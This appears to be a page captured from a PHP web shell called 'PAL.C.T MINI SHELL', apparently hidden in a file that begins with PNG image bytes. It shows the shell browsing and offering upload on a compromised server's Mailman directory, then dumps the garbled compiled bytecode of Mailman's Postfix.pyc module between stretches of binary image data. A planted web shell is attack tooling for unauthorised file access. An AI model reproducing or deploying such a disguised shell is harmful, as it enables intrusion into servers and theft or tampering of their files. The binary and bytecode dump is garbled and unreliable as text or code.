php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/MTA/
upload
files >> //usr/lib/mailman/Mailman/MTA/Postfix.pyc

Pc@sdZddkZddkZddkZddkZddkZddkTddklZddkl	Z	ddkl
Z
ddklZddk
lZdd	klZeiieid
ZeiieidZeiieidZyeefWnej
od
ZdZnXdZdZdZdZdZdZ dZ!dZ"eeedZ#dZ$edZ%dZ&dS(s,Creation/deletion hooks for the Postfix MTA.iN(t*(tmm_cfg(tUtils(tLockFile(tC_(tmakealiases(tsyslogtcreatortaliasessvirtual-mailmaniicCsd}tidt}ti|d?d@}|o?ti|}td||||t||||fntii	t
ortidt
}ti|d?d@}|o?ti|}td||||t||||fqndS(Ns#command failed: %s (status: %s, %s)t iiterror(RtPOSTFIX_ALIAS_CMDt	ALIASFILEtostsystemtstrerrorRtRuntimeErrortpathtexiststVIRTFILEtPOSTFIX_MAP_CMD(tmsgtacmdtstatusterrstrtvcmd((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt_update_maps.scCs
titS(N(RtLOCKFILE(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pytmakelock@scCs4tii|ot|d}|indS(Ntw(R
RRtopentclose(tfilenametfp((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt_zapfileDscCsttttdS(N(R"RR(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pytclearLs
cCsBtitiddd}tiitid}|idd|i	p0|dIJ|dIJ|d||fIJ|Jn|djodS|i}t|td	}|d
I|IJ|dIt
it
i
IJx@t|D]2\}}||dI|t|d
|IJqW|dI|IJ|JdS(Ntextratloopisowner-bounces.mboxis# This file is generated by Mailman, and is kept in sync with the
# binary hash file aliases.db.  YOU SHOULD NOT MANUALLY EDIT THIS FILE
# unless you know what you're doing, and can keep the two files properly
# in sync.  If you screw it up, you're on your own.
s## The ultimate loop stopper addresss%s: %ss-unsubscribes# STANZA START:s
# CREATED:t:R	s
# STANZA END:(Rt
ParseEmailtget_site_emailR
RtjoinRtDATA_DIRtseekttelltNonet
internal_nametlenttimetctimeR(tmlistR!tloopaddrtloopmboxtlistnametfieldsztktv((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt_addlistRs(



*c
Cs#|i}t|td}|i}ti|idd}ti|d}|idd|ip|d||fIJn|dI|IJ|dIti	tiIJxNt
|D]@\}}d	||f}	||	I|t|d
I|IJqW|dI|IJ|JdS(Ns-unsubscribeR$R%iis# This file is generated by Mailman, and is kept in sync with the binary hash
# file virtual-mailman.db.  YOU SHOULD NOT MANUALLY EDIT THIS FILE unless you
# know what you're doing, and can keep the two files properly in sync.  If you
# screw it up, you're on your own.
#
# Note that you should already have this virtual domain set up properly in
# your Postfix installation.  See README.POSTFIX for details.

# LOOP ADDRESSES START
%s	%s
# LOOP ADDRESSES END
s# STANZA START:s
# CREATED:s%s@%sR	s
# STANZA END:(R.R/t	host_nameRR(R'R+R,R0R1R(
R2R!R5R6thostnameR3tloopdestR7R8tfqdnaddr((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt_addvirtualws"	

(cCsti|idd}ti|d}t|}tid}zt|dd}Wdti|XzxFto>|i}|pPn|i	||i
doPqtqtWxto|i}|pPn|i
do&|d	||fIJ|i	|Pq|i
|o|i	|Pq|i	|qW|i|iWd|i
|i
Xti|d|dS(
NR$R%iis.tmpRs# LOOP ADDRESSES STARTs# LOOP ADDRESSES ENDs%s	%s(RR(R:R'RR
tumasktTruetreadlinetwritet
startswitht
writelinest	readlinesRtrename(R2R R3R<tinfptomasktoutfptline((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt_check_for_virtual_loopaddrsB




c	Csyt|d}Wnbtj
oV}|itijontid}zt|d}Wdti|XnXz|||Wd|iX|tjot||ndS(Nsr+isw+(	RtIOErrorterrnotENOENTR
R?RR>RK(R2ttextfiletfuncR!teRH((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt
_do_creates
cCsd}|pt}|inzIt|tt|o'|itijot|t	t
ntWd|o|idt
nXdS(Ntunconditionally(R-RtlockRRRR9R:RtPOSTFIX_STYLE_VIRTUAL_DOMAINSRR>RtunlockR@(R2tcgitnolocktquietRT((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pytcreates	c
Cs|i}d}yt|}Wn0tj
o$}|itijondSXztid}zt|dd}Wdti|Xt}d|}	d|}
d}x|i	}|pPn|oR|i
|
jot}|i	qM|i|ot}|i|qMq|i
|	jo
t
}q|i|qWd|i|iXti|d|dS(Nis.tmpRs# STANZA START: s# STANZA END: (R.R-RRLRMRNR
R?tFalseRAtstripRCRBR@RRF(
R2ROtvirtualpR5RIRGRQRHt
filteroutptstarttendtoopsRJ((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt
_do_removesD



cCsmt}|izBt|tt|itijot|tt	nt
Wd|idt	XdS(NRS(RRTRbRR[R:RRURR@RRV(R2RWRT((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pytremove$s	
cCsttBtBtBtB}xttfD]}|iotdGHnd}yt
i|}Wn/tj
o#}|i
t
ijoqnX|ot|t|@|jo_|id7_t|t}tdG|io'tdGHt
i||t|BqHn|d}d}yt
i|}Wn2tj
o&}|i
t
ijoq#q#nX|iotdGHnti}|tti|dj}|pyti|td}	Wn!tj
od	|t}	nXtd
G|id7_|ioKtdGHti|d}
titid}t
i||
|qXHn|ot|t|@|jo_|id7_t|t}tdG|io'tdGHt
i||t|BqHq#q#WdS(Ns checking permissions on %(file)sis3%(file)s permissions must be 066x (got %(octmode)s)s(fixing)s.dbs checking ownership of %(dbfile)siisuid %ds8%(dbfile)s owned by %(owner)s (must be owned by %(user)ss5%(dbfile)s permissions must be 066x (got %(octmode)s)(tS_IFREGtS_IRUSRtS_IWUSRtS_IRGRPtS_IWGRPRRtVERBOSERR-R
tstattOSErrorRMRNtST_MODEtERRORStocttFIXtchmodRtMAILMAN_USERtST_UIDtpwdtgetpwnamtgetpwuidtKeyErrortgrptgetgrnamt
MAILMAN_GROUPtchown(tstatet
targetmodetfileRjRQtoctmodetdbfiletusertowneroktownertuidtgid((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt
checkperms3sh





	



('t__doc__R
RsRwR0RMRjtMailmanRRRtMailman.i18nRtMailman.MTA.UtilsRtMailman.Logging.SyslogRRR)tLOCK_DIRRt
CONFIG_DIRRRR@R[t	NameErrorRRR"R#R9R>RKRRRZRbRcR(((s\/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MTA/Postfix.pyt<module>s@
					%	'	+		5
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`